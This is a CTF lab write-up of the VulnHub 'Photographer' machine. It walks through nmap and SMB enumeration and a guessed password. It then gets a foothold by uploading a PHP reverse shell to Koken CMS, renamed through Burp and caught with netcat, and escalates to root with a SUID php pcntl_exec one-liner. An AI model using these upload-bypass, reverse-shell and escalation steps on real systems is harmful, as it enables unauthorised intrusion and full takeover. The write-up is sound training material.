4 September 2020 / VULNHUB, CTF, OSCP Photographer Write Up Overview Photographer was the last machine I did before I took my OSCP exam so it seemed fitting for it to be the first write up on my new blog. Photographer was a great OSCP like machine created by v1n1v131r4. Nmap Starting with a Nmap scan lets see what ports are open. I got the IP of the machine by checking the DHCP server on my network. However, I could have used arp-scan to find the IP address. ┌─[daz@parrot]─[~/Documents/Vulnhub/Photographer] └──╼ $nmap -sC -sV -oA nmap/initial 192.168.1.77 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-01 17:54 BST Nmap scan report for 192.168.1.77 Host is up (0.0012s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Photographer by v1n1v131r4 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 8000/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: Koken 0.22.24 |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: daisa ahomi |_http-trane-info: Problem with XML parsing of /evox/about Service Info: Host: PHOTOGRAPHER Host script results: |_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s |_nbstat: NetBIOS name: PHOTOGRAPHER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: photographer | NetBIOS computer name: PHOTOGRAPHER\x00 | Domain name: \x00 | FQDN: photographer |_ System time: 2020-09-01T12:54:28-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-09-01T16:54:28 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.80 seconds The scan reveals 4 ports open, Samba and two web. Based on the HTTP banners it looks to be a Linux Ubuntu machine, Googling apache 2.4.18 ubuntu reveals the OS is probably Ubuntu Xenial 16.04 LTS. Enumeration I started with port 80 but didn’t find anything interesting. I ran Gobuster and Nikto and both came up blank so decided to move on for now. On port 8000 I’m presented with a CMS type page. Looking at the footer indicates ‘Built with Koken’. A quick Google shows Koken is a CMS for photographers. An exploit is also available by the same author of the machine which would indicate this is the intend path. However, the exploit requires authentication. Looking at the exploit, the POST request makes a call to /admin/. Going to the URL does provide a login page requiring a email address and password. I will take a look at Samba before going any further on the web ports. Using smbclient and logging in anonymously shows one share in particular that looks interesting ‘sambashare’. ┌─[daz@parrot]─[~/Documents/Vulnhub/Photographer] └──╼ $smbclient -L \\\\192.168.1.77\\ Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers sambashare Disk Samba on Ubuntu IPC$ IPC IPC Service (photographer server (Samba, Ubuntu)) SMB1 disabled -- no workgroup available ┌─[daz@parrot]─[~/Documents/Vulnhub/Photographer] └──╼ $smbclient \\\\192.168.1.77\\sambashare\\ Enter WORKGROUP\daz\'s password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Jul 21 02:30:07 2020 .. D 0 Tue Jul 21 10:44:25 2020 mailsent.txt N 503 Tue Jul 21 02:29:40 2020 wordpress.bkp.zip N 13930308 Tue Jul 21 02:22:23 2020 278627392 blocks of size 1024. 264268400 blocks available smb: \> mget * Get file mailsent.txt? y getting file \mailsent.txt of size 503 as mailsent.txt (245.6 KiloBytes/sec) (average 245.6 KiloBytes/sec) Get file wordpress.bkp.zip? y getting file \wordpress.bkp.zip of size 13930308 as wordpress.bkp.zip (67013.8 KiloBytes/sec) (average 66362.5 KiloBytes/sec) smb: \> Two files are on the share, the first is an email from Agi to Daisa advising the site is ready and the other file appears to be a backup zip of the site. ┌─[daz@parrot]─[~/Documents/Vulnhub/Photographer] └──╼ $cat mailsent.txt Message-ID: <4129F3CA.2020509@dc.edu> Date: Mon, 20 Jul 2020 11:40:36 -0400 From: Agi Clarence <agi@photographer.com> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Daisa Ahomi <daisa@photographer.com> Subject: To Do - Daisa Website\'s Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Daisa! Your site is ready now. Don\'t forget your secret, my babygirl ;) ┌─[daz@parrot]─[~/Documents/Vulnhub/Photographer] └──╼ $ ‘babygirl’ looks to be a hint to the password and I now have 2 users and email addresses: Agi Clarence - agi@photographer.com Daisa Ahomi - daisa@photographer.com Foot hold I go back to port 8000/admin/ and try them out. I get straight in with daisa@photographer.com and babygirl. Going back to the exploit from earlier, it looks like I can upload a PHP file by saving the file as .jpg then use Burp to rename it. Im going to try and upload a reverse shell PHP script. If your using Kali or ParrotOS the script can be found in /usr/share/webshells/php/ or downloaded from pentestmonkey. ┌─[daz@parrot]─[~/Documents/Vulnhub/Photographer] └──╼ $cp /usr/share/webshells/php/php-reverse-shell.php . ┌─[daz@parrot]─[~/Documents/Vulnhub/Photographer] └──╼ $mv php-reverse-shell.php shell.php.jpg I update the script with my local IP and port details. $ip = '127.0.0.1'; // CHANGE THIS $port = 1234; // CHANGE THIS Start a netcat listener ready to catch the shell. ┌─[daz@parrot]─[~/Documents/Vulnhub/Photographer] └──╼ $sudo nc -nvlp 443 listening on [any] 443 ... Going back to the admin page I upload the file using ‘Import content’ and find the PHP file. With Burp open and proxy intercept on I set Burp as a proxy in my browser and select ‘Import’. In Burp I can now remove the .jpg extension from the file and forward the request. With the file selected, right clicking on ‘Download File’ and ‘Open Link in New Tab’ should run out PHP script. I have a shell as www-data! First thing I always do is upgrade it to a more stable TTY using Python. The first flag can be found in Daisa’s user directory. www-data@photographer:/$ cd home/daisa/ www-data@photographer:/home/daisa$ ls Desktop Downloads Pictures Templates examples.desktop Documents Music Public Videos user.txt www-data@photographer:/home/daisa$ cat user.txt d41d8cd98f00{REDACTED} www-data@photographer:/home/daisa$ Privilege Escalation I now need to escalate out of www-data to either a user or root. Im going to use linpeas to enumerate the machine for possible local privilege escalation paths. First I will use Python to copy the script from my machine. Linpeas provides a lot of output, looking through the output /usr/bin/php7.2 jumps out. Linpeas will colour code the output based on severity but notice /usr/bin/php7.2 is green. Its important to review all the output and not rely on the scripts/tools to identify potential attack vectors. First I will check GTFOBins, searching PHP. Lets give it a go. www-data@photographer:/tmp$ CMD="/bin/sh" www-data@photographer:/tmp$ /usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);" # id uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data) # whoami root # We have root! Lets grab the flag. # # cd /root # cat proof.txt .:/://::::///:-` -/++:+`:--:o: oo.-/+/:` -++-.`o++s-y:/s: `sh:hy`:-/+:` :o:``oyo/o`. ` ```/-so:+--+/` -o:-`yh//. `./ys/-.o/ ++.-ys/:/y- /s-:/+/:/o` o/ :yo-:hNN .MNs./+o--s` ++ soh-/mMMN--.` `.-/MMMd-o:+ -s .y /++:NMMMy-.`` ``-:hMMMmoss: +/ s- hMMMN` shyo+:. -/+syd+ :MMMMo h h `MMMMMy./MMMMMd: +mMMMMN--dMMMMd s. y `MMMMMMd`/hdh+..+/.-ohdy--mMMMMMm +- h dMMMMd:```` `mmNh ```./NMMMMs o. y. /MMMMNmmmmd/ `s-:o sdmmmmMMMMN. h` :o sMMMMMMMMs. -hMMMMMMMM/ :o s: `sMMMMMMMo - . `. . hMMMMMMN+ `y` `s- +mMMMMMNhd+h/+h+dhMMMMMMd: `s- `s: --.sNMMMMMMMMMMMMMMMMMMmo/. -s. /o.`ohd:`.odNMMMMMMMMMMMMNh+.:os/ `/o` .++-`+y+/:`/ssdmmNNmNds+-/o-hh:-/o- ./+:`:yh:dso/.+-++++ss+h++.:++- -/+/-:-/y+/d:yh-o:+--/+/:` `-///////////////:` Follow me at: http://v1n1v131r4.com d41d8cd98f00{REDACTED} # Thats the box, thanks for reading! ============================================================ Any comments or feedback welcome! You can find me on twitter.